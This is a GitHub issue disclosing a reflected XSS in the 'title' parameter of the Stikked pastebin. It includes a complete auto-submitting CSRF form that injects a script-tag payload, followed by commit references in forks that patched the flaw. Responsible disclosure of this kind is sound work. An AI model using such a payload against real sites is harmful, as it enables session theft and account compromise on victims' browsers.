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XSS in title parameter #556

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omriman067 opened this issue Nov 30, 2021 · 0 comments
Open

XSS in title parameter #556

omriman067 opened this issue Nov 30, 2021 · 0 comments

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@omriman067
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When an unsuccessful paste is submitted the "title" parameter is returned without sanitization which can lead to an XSS.
This could be exploited using CSRF. here is an example of a such CSRF payload:

<html>
    <body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
        <form id="myForm" name="myForm" action="https://stikked-site-to-xss/" method="POST">
            <input type=hidden name="title" id="val1" value='"/><script>alert(document.domain)</script>'/>
            <input type=hidden name="lang" id="val2" value="value2"/>
            <input type=hidden name="code" id="val3" value="value3"/>
            <input type=hidden name="submit" id="submit" value="Continue"/>
        </form>
    </body>
</html>
krayon added a commit to krayon/stiqued that referenced this issue Jan 31, 2022
@krayon
Corrected XSS vuln in title param
657256e 
( reported in claudehohl#556 )
fasterit pushed a commit to fasterit/stikked-fit that referenced this issue Jan 9, 2023
@krayon
Corrected XSS vuln in title param
e6dce5f 
( reported in claudehohl#556 )
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@omriman067